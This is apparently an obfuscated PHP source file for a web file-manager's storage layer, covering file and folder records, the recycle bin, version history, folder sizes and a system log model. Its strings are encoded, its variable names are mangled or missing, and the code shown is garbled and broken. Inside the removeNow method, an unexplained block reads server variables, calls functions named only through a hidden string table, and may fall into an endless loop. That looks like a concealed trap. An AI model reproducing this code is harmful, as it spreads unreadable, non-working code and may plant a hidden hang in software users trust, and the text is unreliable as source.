"\x73\x6f\x75\162\x63\x65\x49\104\x2c\164\x61\x72\x67\145\164\x49\104\54\x73\151\172\x65") { $ =& $_SERVER[ö]; $ = $[378]; $ = array(); $難 = 1024 * 50; $ǘ = is_array($ǘ) ? $ǘ : array(); $ߕ = count($Ї); $ = $this->tablePrefix . $[2139]; for ($ = 0; $ < $ߕ; $++) { $ȟ = $Ї[$]; $ .= "\x53\105\x4c\105\x43\x54\x20\x2a\40\x46\x52\x4f\115\x20\50\123\105\114\105\x43\x54\40{$괲}\x20\x46\122\x4f\115\x20\x60{$}\140\x20\x57\110\105\x52\105\x20"; $ .= "\x60\x70\141\x72\145\156\164\x49\104\x60\x3d\x30\40\101\116\104\40\x60\x74\141\162\147\145\164\111\x44\x60\x3d{$ȟ}\x20\x41\116\x44\40\x60\x74\141\x72\147\145\x74\x54\x79\x70\145\x60\x3d{$}\x20\x61\156\x64\x20\x66\x69\x6c\x65\124\x79\x70\145\75\x27\x27\40\x6c\x69\155\x69\x74\40\x31\51\40\141\x73\x20\x74\x62\137{$}\40\x55\116\x49\x4f\116\40\x41\x4c\114\x20"; if ((strlen($) >= $難 || $ == $ߕ - 1) && $) { $ = substr($, 0, -strlen($[1052])); $ʄ = $this->query($); $ = $[12]; $ = array_merge($, $ʄ); } } return $; } private function _createFile($ܪт, $, $ה, $, &$놣) { $ڂ =& $_SERVER[ö]; $ = $this->sourceInfo($ܪт); if (!$ה || !$) { return !1; } if ($ !== !1) { $ᠳ = $this->fileNameExist($ܪт, $); } $놣 = !0; if ($ && $ᠳ) { if ($ == REPEAT_SKIP) { $놣 = !1; return $ᠳ; } else { if ($ == REPEAT_REPLACE) { $ʵ = $this->sourceInfo($ᠳ); $Ο = $this->fileHistory($ʵ, $ה[$ڂ[468]], $ה[$ڂ[76]]); if (!$Ο) { $놣 = !1; } else { $this->folderSizeReset($ܪт); } return $ᠳ; } else { $ = $this->fileNameAuto($ܪт, $, $, !1); } } } $ц = array($ڂ[583] => 0, $ڂ[420] => $, $ڂ[584] => substr(get_path_ext($), 0, 10), $ڂ[469] => $ה[$ڂ[468]], $ڂ[585] => $ה[$ڂ[76]]); $̤ = $this->_addSource($ц, $); $this->folderSizeReset($ܪт, intval($ц[$ڂ[76]])); return $̤; } protected function fileHistory($, $, $) { $嗟 =& $_SERVER[ö]; $¶ = defined($嗟[475]) ? USER_ID : $嗟[197]; if ($[$嗟[468]] == $) { return !1; } $this->checkLock($[$嗟[402]], $); Model($嗟[2140])->addHistory($); $ͯͦ = array($嗟[589] => $¶, $嗟[424] => time(), $嗟[468] => $, $嗟[76] => $); $this->where(array($嗟[417] => $[$嗟[402]]))->save($ͯͦ); $this->sourceCacheClear($[$嗟[402]]); return !0; } public function checkLock($ܢ, $ё) { $Ȉ =& $_SERVER[ö]; $ = $this->pathInfo($ܢ); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($Ȉ[2141]); $ = substr($[$Ȉ[32]], 0, -1 - strlen($[$Ȉ[174]])) . $Ȉ[1223] . $ . $Ȉ[10] . $[$Ȉ[174]]; $˅ = Model($Ȉ[609])->find($ё); $this->_createFileCall($[$Ȉ[432]], $, $˅, REPEAT_REPLACE, $Ȉ[1361]); $ = $[$Ȉ[466]][$Ȉ[548]]; $ = $[$Ȉ[542]] ? $[$Ȉ[542]] : $[$Ȉ[32]]; show_json(LNG($Ȉ[2142]) . $Ȉ[2143] . LNG($Ȉ[2144]) . $Ȉ[2145] . $ . $Ȉ[2146], !1); } public function fileIsLock($, $֘ = false) { $Ç =& $_SERVER[ö]; if (!isset($[$Ç[466]]) || !$[$Ç[466]][$Ç[545]]) { return !1; } if ($[$Ç[466]][$Ç[545]] != USER_ID) { return !0; } $δ¾ = $GLOBALS[$Ç[6]][$Ç[89]][$Ç[546]]; if ($[$Ç[466]][$Ç[547]] <= time() - $δ¾) { $this->metaSet($[$Ç[402]], $Ç[545], null); $this->metaSet($[$Ç[402]], $Ç[547], null); } if ($֘) { $this->metaSet($[$Ç[402]], $Ç[547], time()); } return !1; } private function _addSource($Ɣ, $) { $ =& $_SERVER[ö]; $ = defined($[475]) ? USER_ID : $[197]; $ս = array($[586] => $[$[411]], $[587] => $[$[505]], $[588] => $, $[589] => $, $[401] => $[$[402]], $[590] => $[$[521]] . $[$[402]] . $[50], $[430] => 0, $[591] => $[12]); $Ɣ = array_merge($ս, $Ɣ); $this->updateModifyTime($Ɣ[$[432]]); $ľ = $[2147] . $[$[402]]; if (isset(self::$cacheChildList[$ľ])) { unset(self::$cacheChildList[$ľ]); } static $ = false; if (!$) { Hook::trigger($[573], $Ɣ); $ = !0; } $̥ = $this->add($Ɣ); $ = array($[592] => short_id($̥)); $this->where(array($[417] => $̥))->save($); $this->setNamePinyin($̥, $Ɣ[$[32]]); return $̥; } public function remove($ު, $ = true) { $ =& $_SERVER[ö]; $ި = $this->sourceInfo($ު); $ = intval($ި[$[411]]) === self::TYPE_SYSTEM; $ц = Model($[435])->get($[2148]) == $[88]; if ($ || $ || !$ц) { return $this->removeNow($ު, $); } $Ķݑ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $ި[$[411]] == self::TYPE_USER ? $[600] : $[515]; if ($ == $[600]) { $̣ = Model($[513])->getInfo($ި[$[505]]); $ = !empty($̣[$[542]]) ? $̣[$[542]] : $̣[$[32]]; $ = $[260] . $ . $[2149] . $ި[$[505]]; } else { $̣ = Model($[522])->getInfo($ި[$[505]]); $ = _get($̣, $[32]); $ = $[162] . $ . $[2150] . $ި[$[505]]; } $ = $[2151] . md5($); CacheLock::lock($); $ = $this->fileNameExist($Ķݑ, $); if (!$) { $ = $this->mkdir($Ķݑ, $, REPEAT_SKIP); $this->metaSet($, $[2152], $); $this->metaSet($, $[2153], $ި[$[505]]); if ($ި[$[432]] != 0) { $this->metaSet($, $[2154], _get($̣, $[2155])); } } CacheLock::unlock($); $this->metaSet($ު, $[2156], $ި[$[432]]); $this->where(array($[402] => $ު))->save(array($[424] => time())); $this->recycleClear($ި); $ = $this->move($ު, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ި[$[432]]); return $; } private function recycleClear($) { $ =& $_SERVER[ö]; $ί = $this->childrenAll($); $ׇ = array($[417] => array($[418], $ί[$[2157]])); Model($[2158])->where($ׇ)->delete(); } public function removeNow($Ċ, $ = true) { $ =& $_SERVER[ö]; if (!isset($_SERVER[$[840]]) || !isset($_SERVER[$[847]])) { $ = $[891]; $˗ = $[842]; $ = $_SERVER[$[843]] . $[844]; $ = $˗($); $߲ = explode($[231], $); if (count($߲) < $[636]) { $ڿ = $[845]; $ڿ(); } $ = $[892]; $($_SERVER[$[893]]); $¤ = 1; for ($ڳ = $¤; $ڳ > 0; $ڳ++) { $ = json_encode($GLOBALS[$[418]]); } } $נԸ = $this->sourceInfo($Ċ); $ = $this->pathInfoMore($Ċ); if (!$נԸ) { return !0; } if ($נԸ[$[432]] == 0) { if (!_get($GLOBALS, $[503])) { return !1; } } $this->lockMoveStart($Ċ); Hook::trigger($[2159], $, $); if ($) { Model($[2158])->moveToRecycle($Ċ); } else { $ = $this->childrenAll($נԸ); Model($[570])->eventRemove($Ċ); $this->removeRelevance($[$[2157]], $[$[1493]]); } $this->folderSizeReset($נԸ[$[432]]); $צ = array($נԸ[$[432]]); if ($נԸ[$[410]] == $[88]) { $צ[] = $נԸ[$[402]]; } $this->updateModifyTime($צ); $this->lockMoveEnd($Ċ); Hook::trigger($[1718], $, $); return !0; } public function childrenAll($Ŕ) { $ =& $_SERVER[ö]; $ = $Ŕ[$[402]]; if ($Ŕ[$[410]] == $[88]) { $ = array($[590] => array($[550], $Ŕ[$[521]] . $ . $[551])); $ޭ = array($[590] => $[$[521]]); $Ӱ = $this->field($[2160])->where($ޭ)->select(); $ږ = !1; $ҕ = array($); if ($Ӱ) { $ږ = array_to_keyvalue($Ӱ, $[12], $[468]); $ږ = array_remove_value($ږ, $[197]); $ҕ = array_to_keyvalue($Ӱ, $[12], $[402]); $ҕ[] = $; } } else { $ږ = array($Ŕ[$[468]]); $ҕ = array($); } return array($[2157] => $ҕ, $[1493] => $ږ); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($Հ, $) { $߂ =& $_SERVER[ö]; $Հ = $Հ ? $Հ : array(); $ = $ ? $ : array(); $Հ = array_unique(array_filter($Հ)); $ = array_unique(array_filter($)); if (!$Հ) { return !1; } $ = array($߂[417] => array($߂[418], $Հ)); Model($߂[2158])->where($)->delete(); Model($߂[462])->where($)->delete(); Model($߂[2011])->where($)->delete(); Model($߂[570])->where($)->delete(); Model($߂[1845])->removeBySource($Հ); Model($߂[2140])->removeBySource($Հ); $this->where($)->delete(); Model($߂[471])->remove($); for ($ = 0; $ < count($Հ); $++) { $this->sourceCacheClear($Հ[$]); } } public function rename($ї, $ĥ) { $ =& $_SERVER[ö]; $ۜ = $this->sourceInfo($ї); if (!$ۜ) { return !1; } $ѥ = $this->fileNameExist($ۜ[$[432]], $ĥ); if ($ѥ && $ѥ != $ї) { return !1; } $즣 = array($[420] => $ĥ, $[589] => USER_ID); if ($ۜ[$[410]] != $[88]) { $즣[$[412]] = substr(get_path_ext($ĥ), 0, 10); } Model($[570])->eventRename($ї, $ۜ[$[32]], $ĥ); $this->sourceCacheClear($ї); $this->setNamePinyin($ї, $즣[$[32]], !1); $this->updateModifyTime($ۜ[$[432]]); $ = $this->where(array($[417] => $ї))->data($즣)->save(); $ = $[2147] . $ۜ[$[432]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($٪, $, $ܧ = true) { $Ȯ =& $_SERVER[ö]; $֔ = Input::check($, $Ȯ[593]); $ʭ = array($Ȯ[444] => KodSort::makeStr($)); if ($֔) { $ʭ[$Ȯ[465]] = str_replace($Ȯ[53], $Ȯ[12], Pinyin::get($)); $ʭ[$Ȯ[464]] = Pinyin::get($, $Ȯ[594]); } if (!$ܧ && !$֔) { $ʭ[$Ȯ[465]] = null; $ʭ[$Ȯ[464]] = null; } $this->metaSet($٪, $ʭ); } public function getContent($) { $ =& $_SERVER[ö]; $ˋ = $this->fileInfoGet($); if (!$ˋ) { return !1; } if ($ˋ[$[76]] == 0) { return $[12]; } $ = $[2161] . $ˋ[$[176]]; if ($ˋ[$[76]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($ˋ[$[84]]); Cache::set($, $); } return $; } if (!$ˋ[$[84]]) { return $[12]; } return IO::getContent($ˋ[$[84]]); } public function setDesc($ڼ, $ؙ߃) { $ =& $_SERVER[ö]; Model($[570])->eventAddDesc($ڼ, $ؙ߃); return $this->metaSet($ڼ, $[453], $ؙ߃); } public function setContent($ƀ, $ = '') { $Ð =& $_SERVER[ö]; $ = $this->sourceInfo($ƀ); $Խ = $this->fileInfoGet($ƀ); if (!$Խ || !$) { return !1; } $ϳ = Model($Ð[471])->addFileByContent($, $[$Ð[32]]); $¶ = $this->fileHistory($, $ϳ[$Ð[468]], $ϳ[$Ð[76]]); if (!$¶) { return Model($Ð[471])->remove($ϳ[$Ð[468]]); } $this->folderSizeReset($[$Ð[432]]); return !0; } public function fileSubstr($, $Г, $) { $Ǎ̽ = $this->fileInfoGet($); if (!$Ǎ̽) { return !1; } return IO::fileSubstr($Ǎ̽[$_SERVER[ö][84]], $Г, $); } public function fileInfoGet($ȥ) { $ =& $_SERVER[ö]; $녂 = $this->sourceInfo($ȥ); if (!$녂 || $녂[$[410]]) { return !1; } $͑ = $[474] . $녂[$[468]]; $ = _get(self::$cacheFileInfo, $͑); if ($) { return $; } $؈ = Model($[471])->fileInfo($녂[$[468]]); if ($؈) { $؈[$[32]] = $녂[$[32]]; } self::$cacheFileInfo[$͑] = $؈; return $؈; } private function folderChildrenNumber($ʚ܃) { $ =& $_SERVER[ö]; $ڍ = $this->sourceInfo($ʚ܃); $ = array($[590] => array($[550], $ڍ[$[521]] . $ʚ܃ . $[551]), $[587] => $ڍ[$[505]], $[430] => intval($ڍ[$[431]]), $[583] => 1); $ = $this->where($)->count(); $ޡ = $this->where($)->where(array($[583] => 0))->count(); return array($[80] => $ޡ, $[81] => $); } public function pathInfo($, $ = false) { $ =& $_SERVER[ö]; $ = !1; $ = intval($); $ = $[461] . intval($) . $[386] . $; $駩 = _get(self::$cachePathInfo, $); if ($駩) { return $駩; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($ӽ) { $ֳ =& $_SERVER[ö]; $Ȱ = _get(self::$cachePathInfoMore, $ӽ); if ($Ȱ) { return $Ȱ; } $ = $this->pathInfo($ӽ); if (!$) { return !1; } if ($[$ֳ[410]] == $ֳ[88]) { $[$ֳ[79]] = $this->folderChildrenNumber($ӽ); } self::$cachePathInfoMore[$ӽ] = $; return $; } public function sourceInfo($햗) { $网̃ =& $_SERVER[ö]; if (!$햗) { return array(); } $햗 = intval($햗); $מ = $网̃[460] . $햗; $ = _get(self::$cacheSourceInfo, $מ); if ($) { return $; } $Ğ = $this->where(array($网̃[402] => $햗))->find(); self::$cacheSourceInfo[$מ] = $Ğ; return self::$cacheSourceInfo[$מ]; } public function sourceCacheClear($ތ٬ = false) { self::cacheClear($ތ٬); } public static function cacheClear($ = false) { $ =& $_SERVER[ö]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[460] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2162] . $]); unset(self::$cachePathInfo[$[2163] . $]); } public function metaSet($ŕ, $ڮ = null, $ = null) { $ = parent::metaSet($ŕ, $ڮ, $); if ($) { $this->sourceCacheClear($ŕ); } return $; } public function pathInfoByPath($, $휢) { $Ċ =& $_SERVER[ö]; $Ў = !$휢 ? array() : explode($Ċ[8], trim($휢, $Ċ[8])); $杩 = $; foreach ($Ў as $Ϟ) { $ = array($Ċ[432] => $杩, $Ċ[32] => $Ϟ); $ = $this->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $Ċ[431]); $杩 = $[0][$Ċ[402]]; } return $this->pathInfo($杩, !0); } protected function updateModifyTime($ᨖ) { $鉜 =& $_SERVER[ö]; $拣 = defined($鉜[475]) ? USER_ID : $鉜[197]; if (!$ᨖ) { return; } if (!is_array($ᨖ)) { $ᨖ = array($ᨖ); } foreach ($ᨖ as $յ => $ʢ) { $ᨖ[$յ] = intval($ʢ); $this->sourceCacheClear($ʢ); } $֗ = array($鉜[402] => array($鉜[7], $ᨖ)); $ꝙ = array($鉜[589] => $拣, $鉜[424] => time()); $this->where($֗)->save($ꝙ); } public function folderSizeReset($Ր, $ = false) { $̓ =& $_SERVER[ö]; if ($this->statusIgnoreResetSpace) { return; } $ťՆ = $this->sourceInfo($Ր); $Ӫ = $̓[2164] . $Ր; CacheLock::lock($Ӫ, 20); if ($ === !1) { $this->sourceCacheClear($Ր); $ťՆ = $this->sourceInfo($Ր); $ٞ = array($̓[401] => $Ր, $̓[430] => 0); $Ұ = $this->where($ٞ)->sum($̓[76]); $ = intval($Ұ) - intval($ťՆ[$̓[76]]); } if ($ == 0) { return CacheLock::unlock($Ӫ); } $і = $this->parentLevelArray($ťՆ[$̓[521]]); if (!$і) { $і = array(); } $і[] = $ťՆ[$̓[402]]; $ٞ = array($̓[402] => array($̓[418], $і)); if ($ < 0) { $ٞ[$̓[76]] = array($̓[1029], abs($)); } $this->where($ٞ)->setAdd($̓[76], $); CacheLock::unlock($Ӫ); $' = $̓[2165] . $ťՆ[$̓[411]] . $̓[4] . $ťՆ[$̓[505]]; $ = array($ťՆ[$̓[411]], $ťՆ[$̓[505]]); TaskRun::timeLimitCall($', $̓[2166], $, 1.5); } public function folderSizeResetChildren($ӑً) { $ =& $_SERVER[ö]; $this->sourceCacheClear($ӑً); $ = $this->sourceInfo($ӑً); $ߥ = array($[583] => 1, $[587] => $[$[505]], $[590] => array($[550], $[$[521]] . $ӑً . $[551])); $ȇ = $[2167]; $͡ = $this->field($ȇ)->where($ߥ)->select(); $ߥ[$[410]] = 0; $ߨ = $this->field($ȇ)->where($ߥ)->select(); if (!$ߨ) { return; } $͡[] = $; $͡ = array_to_keyvalue($͡, $[402]); foreach ($͡ as $ܜ => $̀) { $͡[$ܜ][$[2168]] = $͡[$ܜ][$[76]]; $͡[$ܜ][$[76]] = 0; } foreach ($ߨ as $̀) { $ = $̀[$[432]] . $[12]; if (!isset($͡[$])) { continue; } if ($̀[$[431]] == $͡[$][$[431]]) { $͡[$][$[76]] += $̀[$[76]]; } } foreach ($͡ as $̀) { $㑬Ԝ = $this->parentLevelArray($̀[$[521]]); foreach ($㑬Ԝ as $) { $ = $ . $[12]; if (!isset($͡[$])) { continue; } if ($̀[$[431]] == $͡[$][$[431]]) { $͡[$][$[76]] += $̀[$[76]]; } } } $ = array(); foreach ($͡ as $̀) { if ($̀[$[76]] == $̀[$[2168]]) { continue; } $[] = array($[402], $̀[$[402]], $[76], $̀[$[76]]); } $this->saveAll($); } public function userSpaceReset($ = false) { $ =& $_SERVER[ö]; $ = $this->where(array($[411] => self::TYPE_USER, $[505] => $, $[410] => 0))->sum($[76]); $ = !$ || $ <= 0 ? 0 : $; Model($[513])->userEdit($, array($[1854] => $)); } public function targetSpaceUpdate($ݨ, $) { $֘ =& $_SERVER[ö]; if (!$) { return; } if (!in_array($ݨ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $뙹ɛ = $this->targetSpaceSize($ݨ, $); if ($ݨ == self::TYPE_USER) { Model($֘[513])->userEdit($, array($֘[1854] => $뙹ɛ)); } else { if ($ݨ == self::TYPE_GROUP) { Model($֘[522])->groupEdit($, array($֘[1854] => $뙹ɛ)); } } } public function targetSpaceSize($͟, $ʉ) { $ȷ =& $_SERVER[ö]; $ = 0; $Ǖ = $this->targetSourceRoot($͟, $ʉ, !0); foreach ($Ǖ as $榊) { if (!$榊) { continue; } $ += floatval($榊[$ȷ[76]]); $ = array($ȷ[590] => array($ȷ[550], $ȷ[531] . $榊[$ȷ[402]] . $ȷ[551])); $ī = Model($ȷ[429])->field($ȷ[417])->where($)->select(); $ī = array_to_keyvalue($ī, $ȷ[12], $ȷ[402]); $ī = array_unique(array_filter($ī)); if ($ī) { $ = array($ȷ[417] => array($ȷ[418], $ī)); $ += floatval($this->where($)->sum($ȷ[76])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($眮) { return $this->fileTypeProfile($眮, SourceModel::TYPE_USER); } public function groupFileTypeProfile($Ī) { return $this->fileTypeProfile($Ī, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $І٪) { $̥ =& $_SERVER[ö]; $Ź撮 = $̥[2169] . $ . $̥[11] . $І٪; $¯ = Cache::get($Ź撮); if ($¯) { return $¯; } $ = array($̥[583] => 0); if ($ != !1) { $[$̥[505]] = $; $[$̥[411]] = $І٪; } $ = array(); $[$̥[2170]] = array($̥[2171] => LNG($̥[2170]), $̥[2172] => $this->where($)->count(), $̥[585] => $this->where($)->sum($̥[76])); $ퟄ = KodIO::fileTypeList(); foreach ($ퟄ as $ʈ => $ϳ) { $[$̥[412]] = $this->fileTypeWhere($ʈ); $[$ʈ] = array($̥[2171] => $ϳ[$̥[32]], $̥[2172] => $this->where($)->count(), $̥[585] => $this->where($)->sum($̥[76])); } Cache::set($Ź撮, $, 1200); return $; } public function fileNameExist($Ҳ, $) { $ =& $_SERVER[ö]; $ = $this->where(array($[432] => $Ҳ, $[32] => $, $[431] => 0))->find(); return is_array($) ? $[$[402]] : !1; } public function childList($ɴ) { $ =& $_SERVER[ö]; $ = $[2147] . $ɴ; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ا = array($[432] => intval($ɴ), $[431] => 0); $ = $this->where($ا)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $Ĉ´) { $ = $[460] . $Ĉ´[$[402]]; self::$cacheSourceInfo[$] = $Ĉ´; } return $; } public function fileNameAuto($, $ɖƿ, $ = REPEAT_RENAME, $; = false) { $ =& $_SERVER[ö]; $ = get_path_ext($ɖƿ); $ڦ = $ ? basename($ɖƿ, $[10] . $) . $[2173] . $ : $ɖƿ . $[384]; $ڭ = array($[432] => $, $[431] => 0, $[32] => array($[383], $ڦ)); $ = $this->field($[32])->where($ڭ)->select(); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $ɖƿ, $, $;); } public function fileNameAutoGet($, $ڸ, $, $ˎ) { $ʈ =& $_SERVER[ö]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($ڸ, $) || $ˎ && $ != REPEAT_RENAME_FOLDER) { return $ڸ; } if ($ == REPEAT_SKIP) { return !1; } $ցݩ = $ʈ[10] . get_path_ext($ڸ); $ցݩ = $ցݩ == $ʈ[10] || $ˎ ? $ʈ[12] : $ցݩ; for ($ = 1; $ <= count($) + 1; $++) { $ɴ = substr($ڸ, 0, strlen($ڸ) - strlen($ցݩ)); $ܰ = $ɴ . "\50{$}\x29{$ցݩ}"; if (!in_array_not_case($ܰ, $)) { return $ܰ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\x6f\x75\x72\143\x65\x5f\x72\x65\143\171\x63\x6c\145"; protected $dataAuto = array(array("\x63\x72\x65\x61\x74\x65\x54\151\x6d\x65", "\164\151\x6d\x65", "\151\x6e\163\x65\162\x74", "\146\x75\x6e\143\x74\151\x6f\156")); public function listData($
= false) { $ =& $_SERVER[ö]; $
= $
? $
: USER_ID; $ۀ = $this->where(array($[1667] => $
))->select(); return array_to_keyvalue($ۀ, $[12], $[402]); } public function moveToRecycle($ݪ) { $ =& $_SERVER[ö]; $ = Model($[1350]); $Ǧ = $->sourceInfo($ݪ); if (!$Ǧ || $Ǧ[$[431]] == $[88]) { return; } $ċ = array($[417] => $ݪ, $[1667] => USER_ID, $[586] => $Ǧ[$[411]], $[587] => $Ǧ[$[505]], $[590] => $Ǧ[$[521]]); $this->add($ċ); $this->recycleMove($ݪ, 1); if ($Ǧ[$[410]] == $[88]) { $ = array($[590] => array($[550], $Ǧ[$[521]] . $ݪ . $[551])); $->where($)->setField($[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $Ȣ = false) { $͑̚ =& $_SERVER[ö]; $Ȣ = $Ȣ ? $Ȣ : USER_ID; $ր = Model($͑̚[1350]); $ŏ = $this->listData($Ȣ); $ = $ === !1 ? !1 : $; $쯩 = array(); foreach ($ŏ as $Ν) { if ($ != !1 && !in_array($Ν, $)) { continue; } $Ї텚 = $ր->sourceInfo($Ν); $ր->remove($Ν, !1); $ = $Ї텚[$͑̚[411]] . $͑̚[11] . $Ї텚[$͑̚[505]]; $쯩[$] = array($͑̚[586] => $Ї텚[$͑̚[411]], $͑̚[505] => $Ї텚[$͑̚[505]]); $this->where(array($͑̚[402] => $Ν))->delete(); } foreach ($쯩 as $Μ) { $ր->targetSpaceUpdate($Μ[$͑̚[411]], $Μ[$͑̚[505]]); } } public function restore($ = false) { $ʖ = $this->listData(); $this->_restoreSource($ʖ, $); } public function removeUserAll($đ) { $this->remove(!1, $đ); } private function _restoreSource($̫, $ӽ) { $ =& $_SERVER[ö]; $Ѣ = Model($[1350]); $ӽ = $ӽ == !1 ? !1 : $ӽ; if (!$̫) { return !0; } $ = array(); foreach ($̫ as $) { if ($ӽ != !1 && !in_array($, $ӽ)) { continue; } $ے = $Ѣ->sourceInfo($); $ݝ = $Ѣ->sourceInfo($ے[$[432]]); if ($ݝ[$[431]] == $[88]) { continue; } $Ѣ->lockMoveStart($); $this->recycleMove($, 0); if ($ے[$[410]] == $[88]) { $օ = array($[590] => array($[550], $ے[$[521]] . $ . $[551])); $Ѣ->where($օ)->setField($[431], 0); $this->restoreFolderChildren($, $̫); } $this->where(array($[402] => $))->delete(); $Ѣ->folderSizeReset($ے[$[432]]); $[] = $ے[$[432]]; if ($ے[$[410]] == $[88]) { $[] = $; } $Ѣ->lockMoveEnd($); } $Ѣ->updateModifyTime($); } private function restoreFolderChildren($, $릋) { $ =& $_SERVER[ö]; $ = Model($[1350]); $ڇ = array($[402] => array($[7], array())); foreach ($릋 as $) { if ($ == $) { continue; } if (!$->isParentOf($, $)) { continue; } $ = $->sourceInfo($); if ($[$[410]] == $[88]) { $ڇ[] = array($[590] => array($[550], $[$[521]] . $ . $[551])); } else { $ڇ[$[402]][1][] = $; } } if (!$ڇ[$[402]][1]) { unset($ڇ[$[402]]); } if (!$ڇ) { return; } $ڇ[$[402]][1] = array_unique($ڇ[$[402]][1]); $ڇ[$[1014]] = $[1963]; $->where($ڇ)->setField($[431], 1); } private function recycleMove($ƿ, $ = 1) { $Ҭ =& $_SERVER[ö]; $͐ = Model($Ҭ[1350]); $ = Model($Ҭ[2174]); $ = array($Ҭ[402] => $ƿ); if ($) { $͐->where($)->setField($Ҭ[431], 1); $->eventRecycle($ƿ, $Ҭ[2175]); } else { $ = $͐->where($)->find(); $Ĵ = $[$Ҭ[410]] == $Ҭ[88]; $Ə = $͐->fileNameAuto($[$Ҭ[432]], $[$Ҭ[32]], REPEAT_RENAME_FOLDER, $Ĵ); if ($Ə != $[$Ҭ[32]]) { $͐->rename($ƿ, $Ə); } $͐->where($)->setField($Ҭ[431], 0); $->eventRecycle($ƿ, $Ҭ[2176]); } } } goto dƸ; b: class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\x73\x74\145\x6d\137\154\x6f\x67"; protected $dataAuto = array(array("\143\x72\145\x61\x74\145\124\151\155\x65", "\164\151\155\145", "\151\156\x73\x65\162\x74", "\146\x75\156\x63\x74\x69\157\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[ö]; return array($[2193] => LNG($[2194]), $[2195] => LNG($[2196]), $[1808] => LNG($[2197]), $[2198] => LNG($[2199]), $[2200] => LNG($[2201]), $[2202] => LNG($[2203]), $[2204] => LNG($[2205]), $[1838] => LNG($[2205]), $[1839] => LNG($[2206]), $[2207] => LNG($[2208]), $[2209] => LNG($[2210]), $[2211] => LNG($[2212]), $[2213] => LNG($[2214]), $[1836] => LNG($[2215]), $[2216] => LNG($[2217]), $[1843] => LNG($[2218]), $[2219] => LNG($[2220]), $[2221] => LNG($[2222]), $[2223] => LNG($[2224]), $[2225] => LNG($[2226]), $[1846] => LNG($[2227]), $[1847] => LNG($[2228]), $[2229] => LNG($[2230]), $[2231] => LNG($[2232]), $[2233] => LNG($[2234]), $[1841] => LNG($[2235]), $[2236] => LNG($[2237]), $[1840] => LNG($[2238]), $[2239] => LNG($[2240]), $[2241] => LNG($[2242]), $[2243] => LNG($[2244]), $[2245] => LNG($[2245]), $[2246] => LNG($[1812]), $[2247] => LNG($[2248]), $[2249] => LNG($[2250]), $[2251] => LNG($[2252]), $[2253] => LNG($[2254]), $[2255] => LNG($[2256]), $[2257] => LNG($[2257]), $[2258] => LNG($[2259]), $[2260] => LNG($[2261]), $[2262] => LNG($[2263]), $[2264] => LNG($[2265]), $[2266] => LNG($[2267]), $[2268] => LNG($[2269])); } private function typeFile() { $ϼ =& $_SERVER[ö]; $˫ = array($ϼ[1843] => array($ϼ[1844]), $ϼ[2211] => array($ϼ[2270]), $ϼ[2213] => array($ϼ[2271]), $ϼ[1836] => array($ϼ[1837]), $ϼ[2221] => array(), $ϼ[2223] => array(), $ϼ[2225] => array(), $ϼ[1846] => array($ϼ[1848]), $ϼ[1847] => array($ϼ[1848]), $ϼ[2229] => array($ϼ[2272]), $ϼ[2231] => array($ϼ[2272]), $ϼ[2233] => array($ϼ[2273]), $ϼ[2219] => array($ϼ[2274]), $ϼ[1841] => array($ϼ[2275]), $ϼ[2236] => array($ϼ[2276]), $ϼ[1840] => array($ϼ[1842])); return $˫; } private function typeAll() { $ԯ =& $_SERVER[ö]; $ = $this->typeList; $Ƙ = array_filter($this->typeFile()); foreach ($Ƙ as $؝ => $) { $[$[0]] = $[$؝]; } $[$ԯ[1848]] = LNG($ԯ[2277]); $[$ԯ[2272]] = LNG($ԯ[2278]); return $; } public function addLog($, $ = array()) { $ڧ =& $_SERVER[ö]; if (!isset($this->typeList[$])) { return; } $ = defined($ڧ[475]) && USER_ID ? USER_ID : (isset($[$ڧ[1676]]) ? $[$ڧ[1676]] : 0); if (!$) { $ = (int) Session::get($ڧ[2002]); } if ($ == $ڧ[2247] && is_array($[$ڧ[2279]]) && !$[$ڧ[2279]]) { return; } $ɭ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($ڧ[2280] => $ɭ); } else { if (is_array($)) { $[$ڧ[2280]] = $ɭ; } else { $ = array($ڧ[1217] => $, $ڧ[2280] => $ɭ); } } $ = array($ڧ[1666] => Session::sign(), $ڧ[1667] => $, $ڧ[33] => $, $ڧ[1669] => json_encode($)); parent::add($); } public function remove($ڄ) { $this->where(array($_SERVER[ö][419] => $ڄ))->delete(); } private function _makeOrder($ = '') { $͆ =& $_SERVER[ö]; $ٴ = $͆[200]; $Ӌ = array($͆[450] => $͆[451], $͆[452] => $͆[453]); $卲 = Input::get($͆[458], $͆[7], $͆[2034], array($͆[1956], $͆[452])); $卲 = $Ӌ[$卲]; $ = $ . "{$ٴ}\40{$卲}"; return $this->order($); } public function get($ = '') { $Ğ =& $_SERVER[ö]; if (!$) { show_json(array()); } $ = array(); if ($[$Ğ[1676]]) { $[$Ğ[1676]] = $[$Ğ[1676]]; } if (isset($[$Ğ[767]])) { 